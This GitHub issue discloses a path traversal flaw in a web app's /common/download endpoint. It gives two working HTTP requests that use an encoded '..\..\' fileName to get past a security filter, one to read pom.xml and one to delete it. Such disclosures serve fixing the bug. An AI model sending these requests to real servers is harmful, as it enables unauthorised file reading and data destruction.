Skip to content

file read and file delete issue #27

@cxcxcxcxcxcxcxc

Description

@cxcxcxcxcxcxcxc

file read: use ..\ to bypass SecurityFilter
GET /common/download?fileName=%2e%2e%5c%2e%2e%5c%70%6f%6d%2e%78%6d%6c&delete=false HTTP/1.1
Host: 192.168.120.133:8087
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: Hm_lvt_ecc8b50a3122e6d5e09be7a9e5383e07=1705915229; JSESSIONID=43152667-9015-4f85-9d5a-5cb37bb9f9c0
Connection: close
Upgrade-Insecure-Requests: 1

file delete: set delete to true
GET /common/download?fileName=%2e%2e%5c%2e%2e%5c%70%6f%6d%2e%78%6d%6c&delete=true HTTP/1.1
Host: 192.168.120.133:8087
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: Hm_lvt_ecc8b50a3122e6d5e09be7a9e5383e07=1705915229; JSESSIONID=43152667-9015-4f85-9d5a-5cb37bb9f9c0
Connection: close
Upgrade-Insecure-Requests: 1

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions